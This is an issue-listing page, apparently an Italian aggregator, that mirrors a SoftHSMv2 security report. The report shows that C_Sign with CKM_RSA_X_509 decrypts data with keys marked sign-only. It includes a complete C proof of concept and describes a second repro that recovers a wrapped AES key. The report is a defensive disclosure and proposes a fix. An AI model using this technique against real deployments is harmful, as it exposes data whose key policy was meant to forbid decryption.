C_Sign(CKM_RSA_X_509) decrypts and unwraps with a sign-only key
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 2/5
- Tempo stimato
- 1-3 ore
- Idoneità per principianti
- 57/100
Direzione di ricerca
Start in src/lib/SoftHSM.cpp at AsymSignInit, which the issue identifies as checking only CKA_SIGN for CKM_RSA_X_509; then inspect the raw RSA branch in src/lib/crypto/OSSLRSA.cpp. Reproduce the reported behavior and verify that a sign-only key gets CKR_KEY_FUNCTION_NOT_PERMITTED for CKM_RSA_X_509, while hash-and-sign mechanisms remain unaffected.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Component: SoftHSMv2 PKCS#11 module
Seen on: 2.6.1 and current develop (f59e8f4)
Severity: Medium. High only if this library is the usage-policy gate in front of a KMS and Sign is granted more widely than Decrypt.
Revalidated: both programs below exit 1.
Summary
CKA_DECRYPT=false and CKA_UNWRAP=false do not stop raw RSA decryption. C_Sign(CKM_RSA_X_509) is RSA_NO_PADDING private exponentiation, the same operation as decrypt.
A private key created as sign-only still works:
| Attribute | Value |
|---|---|
CKA_SIGN |
true |
CKA_DECRYPT |
false |
CKA_UNWRAP |
false |
CKA_MODIFIABLE |
false |
CKA_SENSITIVE |
true |
CKA_EXTRACTABLE |
false |
CKA_ALLOWED_MECHANISMS |
absent (empty default = every built-in mechanism) |
C_DecryptInit and C_UnwrapKey correctly return CKR_KEY_FUNCTION_NOT_PERMITTED (0x68). C_SignInit + C_Sign(CKM_RSA_X_509) returns CKR_OK and the plaintext.
Impact
A caller who can already C_Sign on that key can also:
- Decrypt
CKM_RSA_X_509ciphertexts. - Recover a secret from a
CKM_RSA_PKCSwrap blob (strip PKCS#1 v1.5 type-2 padding from the raw RSA output).
That is extra confidentiality impact, not a new authentication boundary. The caller can already forge signatures. It matters when something was encrypted or key-wrapped to that public key and CKA_DECRYPT=false / CKA_UNWRAP=false was supposed to forbid reading it.
Worst practical case: CMS/S/MIME or other RSA-PKCS key transport to a sign-only certificate, or SoftHSM used as a network/multi-tenant PKCS#11 front-end (p11-kit server, pkcs11-proxy, app-facing KMS) where Sign is a wider grant than Decrypt. A pure code-signing key that nothing encrypts to has no extra impact.
Not affected:
CKM_SHA256_RSA_PKCS/ PSS. Those are not raw RSA.- ECDSA
CKA_SIGNvsCKA_DERIVE: the wrong operation returns0x68. CKA_ALLOWED_MECHANISMSset at creation to hash-and-sign only:CKM_RSA_X_509returnsCKR_MECHANISM_INVALID(0x70).
libp11’s own RSA keygen sets CKA_DECRYPT=true, so that path is not sign-only. The hole is keys created with decrypt/unwrap explicitly off and no mechanism allow-list. pkcs11-tool --usage-sign is that configuration.
Cause
AsymSignInit checks only CKA_SIGN (src/lib/SoftHSM.cpp). For CKM_RSA_X_509 it selects AsymMech::RSA.
OSSLRSA::sign then does:
EVP_PKEY_sign_init(ctx);
EVP_PKEY_CTX_set_rsa_padding(ctx, RSA_NO_PADDING);
EVP_PKEY_sign(ctx, ...);
(src/lib/crypto/OSSLRSA.cpp, raw-RSA branch). That is decryption. Empty CKA_ALLOWED_MECHANISMS is treated as “allow every built-in mechanism” in isMechanismPermitted.
Repro 1 — raw decrypt
Exit 1 = bug present.
cc -O0 -g -std=c99 -D_GNU_SOURCE -ldl repro.c -o repro
./repro /usr/lib/softhsm/libsofthsm2.so
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pkcs11.h>
static CK_FUNCTION_LIST_PTR p11;
static void die(const char *m, CK_RV rv) {
fprintf(stderr, "%s: 0x%lx\n", m, (unsigned long)rv);
exit(2);
}
int main(int argc, char **argv) {
const char *mod = argc > 1 ? argv[1] : "/usr/lib/softhsm/libsofthsm2.so";
const char *work = "/tmp/softhsm-x509-sign-decrypt";
char conf[512], td[512];
CK_SESSION_HANDLE h = 0;
CK_SLOT_ID slot, *slots;
CK_ULONG ns = 0, bits = 2048, ctl, rl;
CK_OBJECT_HANDLE pub = 0, priv = 0;
CK_BBOOL t = CK_TRUE, f = CK_FALSE;
CK_UTF8CHAR label[32];
CK_BYTE pt[256], ct[256], rec[512];
CK_RV rv, dinit, sinit, sign;
CK_MECHANISM gen = { CKM_RSA_PKCS_KEY_PAIR_GEN, NULL, 0 };
CK_MECHANISM x509 = { CKM_RSA_X_509, NULL, 0 };
CK_ATTRIBUTE pubt[] = {
{ CKA_MODULUS_BITS, &bits, sizeof(bits) },
{ CKA_ENCRYPT, &t, sizeof(t) },
{ CKA_VERIFY, &t, sizeof(t) },
{ CKA_TOKEN, &f, sizeof(f) },
};
CK_ATTRIBUTE prt[] = {
{ CKA_SIGN, &t, sizeof(t) },
{ CKA_DECRYPT, &f, sizeof(f) },
{ CKA_UNWRAP, &f, sizeof(f) },
{ CKA_MODIFIABLE, &f, sizeof(f) },
{ CKA_SENSITIVE, &t, sizeof(t) },
{ CKA_EXTRACTABLE, &f, sizeof(f) },
{ CKA_TOKEN, &f, sizeof(f) },
{ CKA_PRIVATE, &t, sizeof(t) },
};
mkdir(work, 0700);
snprintf(td, sizeof(td), "%s/tokens", work);
mkdir(td, 0700);
snprintf(conf, sizeof(conf), "%s/softhsm2.conf", work);
FILE *fp = fopen(conf, "w");
fprintf(fp, "directories.tokendir = %s\nobjectstore.backend = file\nlog.level = ERROR\n", td);
fclose(fp);
setenv("SOFTHSM2_CONF", conf, 1);
void *dl = dlopen(mod, RTLD_NOW);
CK_C_GetFunctionList getfl = dlsym(dl, "C_GetFunctionList");
if (!getfl || getfl(&p11) != CKR_OK) die("C_GetFunctionList", 1);
CK_C_INITIALIZE_ARGS ia;
memset(&ia, 0, sizeof(ia));
ia.flags = CKF_OS_LOCKING_OK;
if ((rv = p11->C_Initialize(&ia)) != CKR_OK) die("C_Initialize", rv);
p11->C_GetSlotList(CK_FALSE, NULL, &ns);
slots = calloc(ns ? ns : 1, sizeof(*slots));
p11->C_GetSlotList(CK_FALSE, slots, &ns);
slot = slots[0];
free(slots);
memset(label, ' ', 32);
memcpy(label, "x509-sep", 8);
if ((rv = p11->C_InitToken(slot, (CK_UTF8CHAR *)"12345678", 8, label)) != CKR_OK)
die("C_InitToken", rv);
p11->C_OpenSession(slot, CKF_SERIAL_SESSION | CKF_RW_SESSION, NULL, NULL, &h);
p11->C_Login(h, CKU_SO, (CK_UTF8CHAR *)"12345678", 8);
p11->C_InitPIN(h, (CK_UTF8CHAR *)"1234", 4);
p11->C_Logout(h);
p11->C_CloseSession(h);
p11->C_OpenSession(slot, CKF_SERIAL_SESSION | CKF_RW_SESSION, NULL, NULL, &h);
p11->C_Login(h, CKU_USER, (CK_UTF8CHAR *)"1234", 4);
if ((rv = p11->C_GenerateKeyPair(h, &gen, pubt, 4, prt, 8, &pub, &priv)) != CKR_OK)
die("C_GenerateKeyPair", rv);
memset(pt, 0, sizeof(pt));
pt[0] = 0x01;
memcpy(pt + 240, "sign-is-decrypt", 15);
if ((rv = p11->C_EncryptInit(h, &x509, pub)) != CKR_OK) die("C_EncryptInit", rv);
ctl = sizeof(ct);
if ((rv = p11->C_Encrypt(h, pt, sizeof(pt), ct, &ctl)) != CKR_OK) die("C_Encrypt", rv);
dinit = p11->C_DecryptInit(h, &x509, priv);
sinit = p11->C_SignInit(h, &x509, priv);
rl = sizeof(rec);
sign = (sinit == CKR_OK) ? p11->C_Sign(h, ct, ctl, rec, &rl) : sinit;
printf("DecryptInit=0x%lx SignInit=0x%lx Sign=0x%lx len=%lu\n",
(unsigned long)dinit, (unsigned long)sinit, (unsigned long)sign, (unsigned long)rl);
if (dinit == CKR_KEY_FUNCTION_NOT_PERMITTED && sign == CKR_OK &&
rl == sizeof(pt) && memcmp(rec, pt, sizeof(pt)) == 0) {
fprintf(stderr, "BUG PRESENT\n");
return 1;
}
fprintf(stderr, "not reproduced\n");
return 0;
}
Observed:
DecryptInit=0x68 SignInit=0x0 Sign=0x0 len=256
BUG PRESENT
Repro 2 — RSA-PKCS wrap recovered
Same key attributes. C_WrapKey(CKM_RSA_PKCS) of a 16-byte AES key under the public key returns CKR_OK. C_UnwrapKey and C_DecryptInit(CKM_RSA_PKCS) both return 0x68. C_Sign(CKM_RSA_X_509) on the 256-byte wrap blob returns CKR_OK. Stripping 00 02 ... 00 yields the AES key.
Observed: Unwrap=0x68 DecryptInit=0x68 Sign=0x0 stripped=16 match=1.
Suggested fix
In AsymSignInit, if pMechanism->mechanism == CKM_RSA_X_509 and CKA_DECRYPT is false, return CKR_KEY_FUNCTION_NOT_PERMITTED.
Hash-and-sign mechanisms do not need this. An application that truly wants raw RSA “signatures” must set CKA_DECRYPT=true, which matches the capability.
App workaround, for keys not yet created: set CKA_ALLOWED_MECHANISMS to the hash-and-sign mechanisms only. That cannot be added later on a CKA_MODIFIABLE=false key, and the default empty list does not do it.
- Lingua principale
- C++
- Stelle
- 1.1k
- Fork
- 434
- Merge medio
- 12g 14h
- PR unite (30g)
- 2
Preparare l'ambiente
Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di softhsm/SoftHSMv2
-
C_DigestKey digests a sensitive EC private key's CKA_VALUE: no check that the object is a secret keyAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 54/100
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 56/100
Tutte le issue di softhsm/SoftHSMv2
Issue simili
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
charmplusplus/charm#4210 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 66/100
I maintainer di solito rispondono entro 1 giorno
-
[BUG] VPN auth dialog spawned by the secret agent fails with "TLS support is not available" on NixOSApertabug nixos umbriel
Difficoltà 2/5 1-3 ore Idoneità per principianti 62/100
noctalia-dev/noctalia#5310 ·
I maintainer di solito rispondono entro 1 giorno
-
area/docdb kind/bug priority/medium status/awaiting-triage
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
yugabyte/yugabyte-db#37426 ·
I maintainer di solito rispondono entro 1 giorno
-
[Engine] Two prompt block scorers enabled at once: WMMA silently wins and no log line is printedAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
Niko1221/Strata#5693 · 2 commenti ·
I maintainer di solito rispondono entro 4 giorni